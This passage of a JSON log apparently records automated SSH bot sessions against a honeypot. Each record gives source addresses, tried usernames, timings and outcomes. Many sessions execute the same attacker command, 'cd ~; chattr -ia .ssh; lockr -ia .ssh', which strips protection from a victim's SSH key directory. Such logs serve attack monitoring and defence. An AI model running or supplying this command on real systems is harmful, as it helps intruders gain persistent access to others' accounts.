  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7c362d85-b641-426e-aa09-6d60c10a94da",
  "name": "smoky-sandy-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39964,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:12.013679+00:00",
  "ended_at": "2026-08-27T11:57:12.726570+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8b33759-9325-4cea-8f61-beaba05db7ab",
  "name": "crystal-frank-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39956,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:10.655662+00:00",
  "ended_at": "2026-08-27T11:57:11.490538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "884da7d8-fc5b-4176-97b4-118a783aff2e",
  "name": "drifting-tidal-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34570,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:03.217714+00:00",
  "ended_at": "2026-08-27T11:57:04.382131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e84f4345-66cc-4799-9806-fd03337cf068",
  "name": "lunar-fringed-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34568,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:56:59.988458+00:00",
  "ended_at": "2026-08-27T11:57:01.483515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "60aa76e5-0542-4bdd-8123-357a61fd53bf",
  "name": "silent-eager-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59312,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:56:36.170693+00:00",
  "ended_at": "2026-08-27T11:56:37.407084+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "ed7b8d06-b462-4489-9b7c-b581da07fd15",
  "name": "orderly-placid-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59340,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:56:19.186666+00:00",
  "ended_at": "2026-08-27T11:56:20.542962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23209ee0-3899-49f1-8e17-50cdf120868f",
  "name": "vigilant-hazel-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59324,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:56:17.040024+00:00",
  "ended_at": "2026-08-27T11:56:18.296530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49ccb497-05db-4148-8304-2c5d508b062b",
  "name": "curious-obsidian-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 60504,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:56:00.052498+00:00",
  "ended_at": "2026-08-27T11:56:01.489475+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2187
 },
 {
  "id": "88eaab01-6b19-4586-ab2b-498b94696841",
  "name": "glacial-lonesome-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53458,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:55:59.814215+00:00",
  "ended_at": "2026-08-27T11:56:01.897737+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2169
 },
 {
  "id": "321a4e61-26d0-43eb-8416-0d2a81490681",
  "name": "smoky-gritty-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45726,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:46.592587+00:00",
  "ended_at": "2026-08-27T11:55:47.218542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe994b3d-9e28-415f-bcb0-91f40ce61ed5",
  "name": "wistful-sterling-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:44.188890+00:00",
  "ended_at": "2026-08-27T11:55:46.002788+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63243633-ff5f-4182-95c2-54108ed4fed9",
  "name": "mellow-idle-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53472,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:42.562853+00:00",
  "ended_at": "2026-08-27T11:55:43.279273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ab0aaa3-64c3-43f0-b940-82e7cbdef75a",
  "name": "silent-northern-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53466,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:41.020328+00:00",
  "ended_at": "2026-08-27T11:55:41.910846+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d5d54b5-edc6-428e-9c7d-75a731c96b29",
  "name": "wistful-patient-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51392,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:55:38.100034+00:00",
  "ended_at": "2026-08-27T11:55:40.302328+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b5874258-8454-4d42-877b-e7d57c8fd228",
  "name": "lanky-graceful-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:14.082053+00:00",
  "ended_at": "2026-08-27T11:55:15.840017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "372e89eb-0c30-44d0-9bfb-eff34f3254d6",
  "name": "leafy-amiable-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51398,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:12.171267+00:00",
  "ended_at": "2026-08-27T11:55:13.523806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dde47fb-39c4-4a49-b66c-fade3d342879",
  "name": "blazing-barren-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40608,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:54:33.356037+00:00",
  "ended_at": "2026-08-27T11:54:34.786889+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c0c3d87b-6f4a-4f7e-b9f6-613c4e6c3b60",
  "name": "quiet-smooth-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49144,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:54:09.219955+00:00",
  "ended_at": "2026-08-27T11:54:10.003593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8aa8feb-c780-478a-ad2f-0b46584ae571",
  "name": "muted-lofty-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40616,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:54:05.907251+00:00",
  "ended_at": "2026-08-27T11:54:07.721750+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b35078f3-5fb4-43f6-b112-bf371f237986",
  "name": "lawful-amber-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42784,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:59.205091+00:00",
  "ended_at": "2026-08-27T11:54:00.212862+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2162
 },
 {
  "id": "31cedce7-da43-41ae-8b8c-2ea89c78e982",
  "name": "noble-gallant-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 37162,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:58.013089+00:00",
  "ended_at": "2026-08-27T11:53:59.410019+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2173
 },
 {
  "id": "aa97e1aa-5e37-405e-b2e6-db81e26da46f",
  "name": "misty-downy-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59280,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:52.582483+00:00",
  "ended_at": "2026-08-27T11:53:53.880658+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ffdc1293-b0a4-42c4-9766-eb675f01c819",
  "name": "nameless-frosty-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 37178,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:42.575213+00:00",
  "ended_at": "2026-08-27T11:53:44.124025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61138c65-eb5c-48ac-9c96-60479f63cdfb",
  "name": "pristine-hearty-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 37168,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:40.486162+00:00",
  "ended_at": "2026-08-27T11:53:41.977836+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49149378-e990-4c2e-9b75-a4bd2715635e",
  "name": "prairie-wistful-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:37.567910+00:00",
  "ended_at": "2026-08-27T11:53:39.758008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c2024bce-cea6-483a-b697-9cd8644c124a",
  "name": "humble-faded-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:35.607724+00:00",
  "ended_at": "2026-08-27T11:53:37.218370+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef161ab2-affa-4bce-8dd8-79016202d584",
  "name": "russet-gentle-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 46244,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:33.524936+00:00",
  "ended_at": "2026-08-27T11:53:34.884327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0c012a1-ff95-45db-a596-899be8005fce",
  "name": "hidden-eager-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59296,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:33.080855+00:00",
  "ended_at": "2026-08-27T11:53:34.686224+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1854bf02-0819-4251-9a77-d76e89e512b7",
  "name": "sooty-velvet-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 46230,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:30.899068+00:00",
  "ended_at": "2026-08-27T11:53:32.873180+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e0e2c68-f22a-40e2-968a-705639151b91",
  "name": "honest-boreal-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:11.236134+00:00",
  "ended_at": "2026-08-27T11:53:13.200883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "586250e2-07b1-49b2-adfb-4ffb9d767099",
  "name": "eager-sterling-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51634,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:09.547085+00:00",
  "ended_at": "2026-08-27T11:53:10.704738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faf1ed23-d01e-449e-a490-07bd77bfa5a5",
  "name": "whispering-woven-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:56.198137+00:00",
  "ended_at": "2026-08-27T11:51:58.401380+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "fede980d-dd7e-465c-aa04-702f917a7a06",
  "name": "sunlit-crystal-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59174,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:47.943883+00:00",
  "ended_at": "2026-08-27T11:51:49.768626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2162
 },
 {
  "id": "4f77e68e-6e5f-46a0-aa86-a1085e314e2d",
  "name": "opal-primal-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:37.270099+00:00",
  "ended_at": "2026-08-27T11:51:38.176813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "474be15e-09fd-44ec-8dd0-fad5202331b1",
  "name": "fringed-frank-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47966,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:35.474470+00:00",
  "ended_at": "2026-08-27T11:51:36.612542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c33f36c-a630-46af-b19d-d6e7e7451b5e",
  "name": "coastal-quiet-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33290,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:34.626497+00:00",
  "ended_at": "2026-08-27T11:51:36.118195+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "07fadb69-3a03-4cd7-b445-c508a052a31a",
  "name": "forlorn-kindly-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 48686,
  "username": "tomcat",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:34.450292+00:00",
  "ended_at": "2026-08-27T11:51:36.487603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "7edbeb5d-62bd-45e8-bac5-d4f4ad3fc70c",
  "name": "bold-wiry-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59192,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:33.388854+00:00",
  "ended_at": "2026-08-27T11:51:35.139562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "feca5de0-3572-49d0-9f07-7498ec986d82",
  "name": "reedy-quaint-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59180,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:31.578677+00:00",
  "ended_at": "2026-08-27T11:51:32.815320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8ee7cdb-720d-4ac2-9eb2-fc3cc27fc771",
  "name": "tender-feral-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56908,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:11.853188+00:00",
  "ended_at": "2026-08-27T11:51:12.753969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c00fe147-d1a5-4d95-bbaa-1ff41d6ca2c0",
  "name": "courtly-inland-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48692,
  "username": "tomcat",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:10.538095+00:00",
  "ended_at": "2026-08-27T11:51:11.469583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "41feae16-d30a-453e-bd54-35640b459b3f",
  "name": "polar-pleasant-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56894,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:09.225668+00:00",
  "ended_at": "2026-08-27T11:51:10.320539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9fa61df4-ed21-47f4-89a2-178cf4fac213",
  "name": "gentle-clever-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:08.392995+00:00",
  "ended_at": "2026-08-27T11:51:10.001582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e831502-1d1c-425e-bc76-b0098dc56c16",
  "name": "downy-crystal-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59254,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:07.585521+00:00",
  "ended_at": "2026-08-27T11:51:09.054208+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "2d6a8f31-0a6a-4f6e-bdb6-7acbec4814ff",
  "name": "blunt-downy-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59276,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:50:48.889495+00:00",
  "ended_at": "2026-08-27T11:50:50.125444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56ffbd10-4084-4bd7-b8c7-eae752224e4a",
  "name": "tawny-tranquil-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59262,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:50:47.113095+00:00",
  "ended_at": "2026-08-27T11:50:47.982480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e1f66112-87f6-47df-a41b-341a29ff54b1",
  "name": "foggy-alpine-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40216,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:59.749424+00:00",
  "ended_at": "2026-08-27T11:50:01.495060+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "644e4b81-4b47-4b7d-8f6c-f861c58a1d6b",
  "name": "calm-wooded-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 32910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:46.426661+00:00",
  "ended_at": "2026-08-27T11:49:47.938006+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "663d9908-021d-4475-97d9-053010350332",
  "name": "sooty-lucid-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40224,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:44.171583+00:00",
  "ended_at": "2026-08-27T11:49:46.043108+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
